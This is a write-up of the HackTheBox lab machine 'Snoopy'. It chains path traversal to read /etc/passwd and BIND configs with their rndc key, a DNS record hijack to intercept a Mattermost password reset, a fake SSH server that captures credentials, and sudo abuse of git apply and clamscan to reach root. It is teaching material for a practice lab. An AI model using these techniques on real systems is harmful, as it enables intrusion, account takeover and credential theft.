10 minutes
HackTheBox :: Snoopy
Creator: ctrlzero
Machine URL: https://app.hackthebox.com/machines/Snoopy
Difficulty: Hard
Initial enumeration
We start with an nmap
scan:
# Nmap 7.93 scan initiated Sat May 6 21:39:43 2023 as: nmap -p- -oA nmap/nmap_initial --min-rate=4000 -vv -sC -sV 10.129.188.62
Nmap scan report for 10.129.188.62
Host is up, received echo-reply ttl 63 (0.040s latency).
Scanned at 2023-05-06 21:39:43 CEST for 29s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ee6bcec5b6e3fa1b97c03d5fe3f1a16e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEwa6lTzS8uZRb7EebEXbLkAU0FpJ8k9KO+YwTTeEE7E3VgGZr4vOP4EOZce1XDgwR18wt0WOCiYz6pi6M4y4Lw=
| 256 545941e1719a1a879c1e995059bfe5ba (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZTgpF2zR6Xamvdn+NyIUGFtq7hXBd7RK3SM00IMQht
53/tcp open domain syn-ack ttl 63 ISC BIND 9.18.12-0ubuntu0.22.04.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.18.12-0ubuntu0.22.04.1-Ubuntu
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: SnoopySec Bootstrap Template - Index
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 6 21:40:12 2023 -- 1 IP address (1 host up) scanned in 29.67 seconds
There is a BIND DNS server on TCP 53 and an nginx web server on TCP 80.
Let’s take a quick look at the nginx first.
nginx web server
We are greeted by the website for SnoopySec.
Interesting links on the main page
Download links for the press package and recent announcement:
Both refer us to snoopy.htb
. We add this hostname to our /etc/hosts.
The file
parameter looks interesting and might be susceptible to Path Traversal. We will return to it later after we are done with an initial look at the web app.
About page
We note the positions, emails, and names of the listed team members.
We also take note of [email protected] from the footer.
Contact page
http://snoopy.htb/contact.html
There is a warning on the top of this page that might be of use:
Attention: As we migrate DNS records to our new domain please be advised that our mailserver ‘mail.snoopy.htb’ is currently offline.
Contact form
POSTs to forms/contact.php. Throws an error:
Error: Unable to load the “PHP Email Form” Library!
After we are done with the first look at the website, let’s attempt a DNS Zone Transfer on the DNS server.
DNS Zone Transfer
┌──(fluff㉿kali)-[/tmp/snoopy]
└─$ dig axfr @10.129.188.62 snoopy.htb
; <<>> DiG 9.18.12-1-Debian <<>> axfr @10.129.188.62 snoopy.htb
; (1 server found)
;; global options: +cmd
snoopy.htb. 86400 IN SOA ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
snoopy.htb. 86400 IN NS ns1.snoopy.htb.
snoopy.htb. 86400 IN NS ns2.snoopy.htb.
mattermost.snoopy.htb. 86400 IN A 172.18.0.3
mm.snoopy.htb. 86400 IN A 127.0.0.1
ns1.snoopy.htb. 86400 IN A 10.0.50.10
ns2.snoopy.htb. 86400 IN A 10.0.51.10
postgres.snoopy.htb. 86400 IN A 172.18.0.2
provisions.snoopy.htb. 86400 IN A 172.18.0.4
www.snoopy.htb. 86400 IN A 127.0.0.1
snoopy.htb. 86400 IN SOA ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
;; Query time: 43 msec
;; SERVER: 10.129.188.62#53(10.129.188.62) (TCP)
;; WHEN: Sat May 06 22:10:28 CEST 2023
;; XFR size: 11 records (messages 1, bytes 325
Zone transfer is successful and we get all the DNS records for the domain snoopy.htb.
Notably, mail.snoopy.htb is not in the records.
mm.snoopy.htb
is in the list and it points to localhost. We add it to our /etc/hosts.
mattermost.snoopy.htb
, postgres.snoopy.htb
, and provisions.snoopy.htb
seem to be pointing at containers so they will not be immediately accessible to us.
mm.snoopy.htb
We are greeted by the Mattermost instance.
Let’s poke around and see what functionality is available to us.
Password reset
http://mm.snoopy.htb/reset_password
After trying all the emails that are known to us only [email protected] succeeds:
All others get the error:
It suggests that mailing for the accounts that exist doesn’t work properly.
We know that the contact page mentioned the mail server is offline due to the DNS records migration.
We are done with the initial recon. To sum up our findings:
- The mail server, mail.snoopy.htb, is offline due to DNS records migration.
- This server is also not in the list of records on the target’s DNS server.
- If we can fix this problem and point the mail server to ourselves, we should be able to intercept the password reset email and log in to Mattermost.
Let’s hunt for something that can help us in this task.
During the initial enumeration, we took note of the announcement download link – http://snoopy.htb/download?file=announcement.pdf that looks like it might be susceptible to some kind of Path Traversal vulnerability.
Arbitrary File Download in /download
Quick fuzz with ffuf
confirms our suspicions:
┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy]
└─$ ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -ic -c -t 400 -u "http://snoopy.htb/download?file=FUZZ" -fs 0
...
[Status: 200, Size: 796, Words: 3, Lines: 2, Duration: 72ms]
* FUZZ: ....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd
[Status: 200, Size: 796, Words: 3, Lines: 2, Duration: 73ms]
* FUZZ: ....//....//....//....//....//....//....//etc/passw
Let’s try it out.
GET /download?file=....//....//....//....//etc/passwd HTTP/1.1
Host: snoopy.htb
Connection: close
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 06 May 2023 20:03:17 GMT
Content-Type: application/zip
Content-Length: 796
Connection: close
Content-Disposition: attachment; filename=press_release.zip
PKÝV,Ù
press_package/etc/passwdTKs0¾ûWplgÛ±9¦\N¯*0#ùõÝlãBÛÍ®öûVv%gm³CUð7FäÒ×RªÖ@$0!ïÈUÆj[5f«Çl üó òJa &JµP«l³^§«Lq*Ð\T²Uimâ
3RoB¶ÛdÉ2CUì¥
,j%Èàuð ØwÖj¡»r6x£¾
A*X`:`Þ;¤³=aCÉ$1
#ÛNçìñ¤
¿Täp8ܲXå²@Û5WkY¼
$D`}îGtã±áÒ-Ê3Ocªè+,FÏÒÈJ9@°)»qØét¨`m®ìñW ÊZÑãPÝ¿¨Îº÷}=ù^µÑ'Y¶ù|Þ9Ì©ÍmGÊ=ÉsXQGH[¹ÌÊ®§Æö?§ÜÊ{£úuoÄ
K/³à¾±'\aîîîøDäaòVï
]Â^¾°Ç} \3[ç§8ÐgñǬoÎiI¼¾¤ð\PSÔÎæ]ö5H§³ÚIöüWkx±Æwüê¥äÔ^-¼¯KBo.e¡=pyæú¼ÈVíßEJðÜA9
QäÎwBÌÓZ:ݨè<¢¶v}ýðô*µ>Ý°ü¬BËVî
U7`ÏÜ£§tèT¬'ìÅöE=èþ±X@8rúå£×à¡Wö¾ròÄÔ5NìGcµê£'\gc®P¸XÛ,IÒâkæÖi98
ïòn¯ínHàÁ5jßPK?ÝV,Ù
¤press_package/etc/passwdPKFÀ
We get a zip archive back.
For ease of use, we can curl
the file and then pipe it to zcat
to unzip and show output in stdout.
┌──(fluff㉿kali)-[/tmp/snoopy]
└─$ curl -s http://snoopy.htb/download?file=....//....//....//....//etc/passwd | zcat
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12:man:/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy❌13:13:proxy:/bin:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt❌100:65534::/nonexistent:/usr/sbin/nologin
systemd-network❌101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve❌102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus❌103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync❌104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate❌105:1::/var/cache/pollinate:/bin/false
sshd❌106:65534::/run/sshd:/usr/sbin/nologin
usbmux❌107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
cbrown❌1000:1000:Charlie Brown:/home/cbrown:/bin/bash
sbrown❌1001:1001:Sally Brown:/home/sbrown:/bin/bash
clamav❌1002:1003::/home/clamav:/usr/sbin/nologin
lpelt❌1003:1004::/home/lpelt:/bin/bash
cschultz❌1004:1005:Charles Schultz:/home/cschultz:/bin/bash
vgray❌1005:1006:Violet Gray:/home/vgray:/bin/bash
bind❌108:113::/var/cache/bind:/usr/sbin/nologin
_laurel❌999:998::/var/log/laurel:/bin/false
User clamav
suggests that Clam AntiVirus might be present in the system.
There are also several users with a console: cbrown, sbrown, lpelt, cschultz, and vgray.
Reading BIND DNS configs
┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy/loot]
└─$ curl -s http://snoopy.htb/download?file=....//....//....//....//etc/bind/named.conf | zcat
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local
include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";
key "rndc-key" {
algorithm hmac-sha256;
secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};
Note the rndc-key
.
┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy/loot]
└─$ curl -s http://snoopy.htb/download?file=....//....//....//....//etc/bind/named.conf.local | zcat
//
// Do any local configuration here
//
// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";
zone "snoopy.htb" IN {
type master;
file "/var/lib/bind/db.snoopy.htb";
allow-update { key "rndc-key"; };
allow-transfer { 10.0.0.0/8; };
};
allow-update
with rndc-key
means that we should be able to update any DNS record in the snoopy.htb zone.
Adding a DNS record for mail.snoopy.htb and resetting the Mattermost password
To gain access to mm.snoopy.htb we need to receive a password reset email.
Let’s add the A
DNS record that will point mail.snoopy.htb to our machine and intercept the password reset email.
SMTP Server
First, we will set up and start a fake SMTP server. For this purpose, I will use a python module smtpd:
┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy]
└─$ python3 -m smtpd -n -c DebuggingServer 10.10.14.36:25
nsupdate
To update the records on a remote DNS server we can use nsupdate
.
Here is a blog post that outlines the functionality that we need.
dns.txt that contains commands to run with nsupdate
:
┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy/exploit]
└─$ cat dns.txt
server 10.129.188.62
update add mail.snoopy.htb. 86400 IN A 10.10.14.36
send
Use nsupdate
with the key to run these commands:
┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy/exploit]
└─$ nsupdate -y 'hmac-sha256:rndc-key:BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=' dns.txt
Confirm that this worked with dig
:
┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy/exploit]
└─$ dig mail.snoopy.htb @10.129.188.62
...
;; ANSWER SECTION:
mail.snoopy.htb. 86400 IN A 10.10.14.36
...
Password reset
Navigate to http://mm.snoopy.htb/reset_password.
Let’s use [email protected] from accounting first.
Back on our python SMTP server
we get a password reset link!
In this case, it’s http://mm.snoopy.htb/reset_password_complete?token=wmei8dtdph8xhn48tuezu1kja77e5qt61smj84r18r14y68km189tyfwxmetzpag
Note:
3D
is not a part of the token. It’s quoted-printable.
After navigating to this link we can change the user’s password:
Now we can explore Mattermost on http://mm.snoopy.htb.
Note: there is a cleanup job to restore the original DNS records.
Be quick to reset the password!
Mattermost – Logged in as lpelt
Interesting info from the channels
Towns Square:
- ClamAV confirmed.
- Some new server provisioning feature was just added.
Browse all available channels
There is one available channel to join – Server Provisioning.
On joining, the bot informs us about the /server_provision
chat command.
Sending it to the chat pops out a provisioning form:
Server provisioning request
Let’s submit the form with our IP address:
We will also listen on TCP 2222, as the form suggests.
After submitting the form we get a Direct Message from cbrown:
and our listener shows the following:
┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy]
└─$ nc -lnvp 2222
listening on [any] 2222 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.188.98] 55192
SSH-2.0-paramiko_3.1.0
cbrown attempts to connect via SSH.
Get SSH credentials
We can use sshesame
to fake an ssh server.
The package is available in Kali repos and on GitHub.
┌──(fluff㉿kali)-[/tmp]
└─$ cat ssh.yaml
server:
listen_address: 10.10.14.36:2222
┌──(fluff㉿kali)-[/tmp]
└─$ sshesame -config ssh.yaml
Fill out the server provisioning form on Mattermost one more time and submit it.
We get another DM from cbrown telling us that they were able to access the server. sshesame
logged the password:
┌──(fluff㉿kali)-[/tmp]
└─$ sshesame -config ssh.yaml
INFO 2023/05/07 03:40:53 No host keys configured, using keys at "/home/fluff/.local/share/sshesame"
INFO 2023/05/07 03:40:53 Listening on 10.10.14.36:2222
2023/05/07 03:41:20 [10.129.188.98:59672] authentication for user "cbrown" with password "s<REDACTED>!" accepted
...
This password was reused by cbrown and we can SSH to the target with it.
cbrown
sudo
cbrown@snoopy:~$ sudo -l
[sudo] password for cbrown:
Matching Defaults entries for cbrown on snoopy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User cbrown may run the following commands on snoopy:
(sbrown) PASSWD: /usr/bin/git apply *
We can run /usr/bin/git apply *
as sbrown.
git apply
allows us to apply patches in the diff format.
In theory, we should be able to create a file with a crafted patch.
Note: there is also a recent CVE that warns about the misuse of
--reject
ingit apply
and our version seems vulnerable. It would allow us to modify a file, but we will not use it.
Abusing git apply
to write an authorized_keys file
First, we generate an SSH key:
┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy]
└─$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/fluff/.ssh/id_rsa): ./sbrown_rsa
...
┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy]
└─$ cat sbrown_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7eNcb1VqR9AO56K0vGa01uEejcLK6pSKzjTPzYwSXEVmF7DYsxSG8vAEuDGwoUzlZ0Jbp6/xIo11PY00/zI1KWwyvRfkkPuL5rFJaTbZ+NVl7fuNBZKhdhn2zBOkDwRvexpk7isWNPYBisMlEjdCuHOftFpymBH99aIACLyuNbPNE1RtPTP/UG4BYs2yL3Urd2H3OaPP5K6tJukLFLWw5ifXAFtu6jlOqzGVblsETLg1kGi1YujC0Nw/6l2whjH9OT+R2gHgghqf+rkGFh/j6wq4N52FCuLzk2OpQXRjW2OYl2U40w7m4GXhPi+o7babsyWLP/mJkDX6qox9U1Icpmb/oMgtz05yca7Xm28JEeATvO1QabLmiwjjl0CltQC865GjbxxYElJDOnqexSd8nYGM2SzBIOqQfbf1uXbaVwYJUAOOz7pMNsMYFkFG4BssC2gWRFxvnyUMbl6ITb++zI/pHtOP3ivf7sK5WjzmsRyLEr9LthbANGGTdYaui0wk= fluff@kali
Now we need to craft a diff file that will create an autorized_keys file with our key in it:
cbrown@snoopy:~$ cat /tmp/fluffypatch.diff
diff --git a/home/sbrown/.ssh/authorized_keys b/home/sbrown/.ssh/authorized_keys
new file mode 100644
index 0000000..1906a12
--- /dev/null
+++ /home/sbrown/.ssh/authorized_keys
@@ -0,0 +1 @@
+ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7eNcb1VqR9AO56K0vGa01uEejcLK6pSKzjTPzYwSXEVmF7DYsxSG8vAEuDGwoUzlZ0Jbp6/xIo11PY00/zI1KWwyvRfkkPuL5rFJaTbZ+NVl7fuNBZKhdhn2zBOkDwRvexpk7isWNPYBisMlEjdCuHOftFpymBH99aIACLyuNbPNE1RtPTP/UG4BYs2yL3Urd2H3OaPP5K6tJukLFLWw5ifXAFtu6jlOqzGVblsETLg1kGi1YujC0Nw/6l2whjH9OT+R2gHgghqf+rkGFh/j6wq4N52FCuLzk2OpQXRjW2OYl2U40w7m4GXhPi+o7babsyWLP/mJkDX6qox9U1Icpmb/oMgtz05yca7Xm28JEeATvO1QabLmiwjjl0CltQC865GjbxxYElJDOnqexSd8nYGM2SzBIOqQfbf1uXbaVwYJUAOOz7pMNsMYFkFG4BssC2gWRFxvnyUMbl6ITb++zI/pHtOP3ivf7sK5WjzmsRyLEr9LthbANGGTdYaui0wk= fluff@kali
Apply the patch as sbrown:
cbrown@snoopy:~$ cd /
cbrown@snoopy:/$ sudo -u sbrown git apply /tmp/fluffypatch.diff
We can now SSH as sbrown:
┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy]
└─$ ssh [email protected] -i sbrown_rsa
...
sbrown@snoopy:~$
sbrown
Grab a user.txt.
sbrown@snoopy:~$ cat user.txt
sudo
sbrown@snoopy:~$ sudo -l
Matching Defaults entries for sbrown on snoopy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User sbrown may run the following commands on snoopy:
(root) NOPASSWD: /usr/local/bin/clamscan
We are allowed to run clamscan
, a ClamAV binary, as root.
Privilege escalation to root
We can abuse custom yara rules to copy and move “infected” files.
The general idea is described here.
Create a yara rule that will trigger on SSH public keys:
sbrown@snoopy:/tmp$ cat fluffy.yara
rule test
{
strings:
$string = "rsa"
condition:
$string
}
Move the original authorized_keys file from /root/.ssh to /tmp:
sbrown@snoopy:/tmp$ sudo /usr/local/bin/clamscan /root/.ssh/authorized_keys --move=/tmp -d fluffy.yara
Loading: 0s, ETA: 0s [========================>] 1/1 sigs
Compiling: 0s, ETA: 0s [========================>] 40/40 tasks
/root/.ssh/authorized_keys: YARA.test.UNOFFICIAL FOUND
/root/.ssh/authorized_keys: moved to '/tmp/authorized_keys'
----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 1.0.0
Scanned directories: 0
Scanned files: 1
Infected files: 1
Now copy our key to /root/.ssh:
sbrown@snoopy:/tmp$ sudo /usr/local/bin/clamscan /home/sbrown/.ssh/authorized_keys --copy=/root/.ssh -d fluffy.yara
Loading: 0s, ETA: 0s [========================>] 1/1 sigs
Compiling: 0s, ETA: 0s [========================>] 40/40 tasks
/home/sbrown/.ssh/authorized_keys: YARA.test.UNOFFICIAL FOUND
/home/sbrown/.ssh/authorized_keys: copied to '/root/.ssh/authorized_keys'
----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 1.0.0
Scanned directories: 0
Scanned files: 1
Infected files: 1
That’s it! We should be able to SSH as root.
┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy]
└─$ ssh [email protected] -i sbrown_rsa
...
root@snoopy:~#
Grab root.txt and we are done.
root@snoopy:~# cat /root/root.txt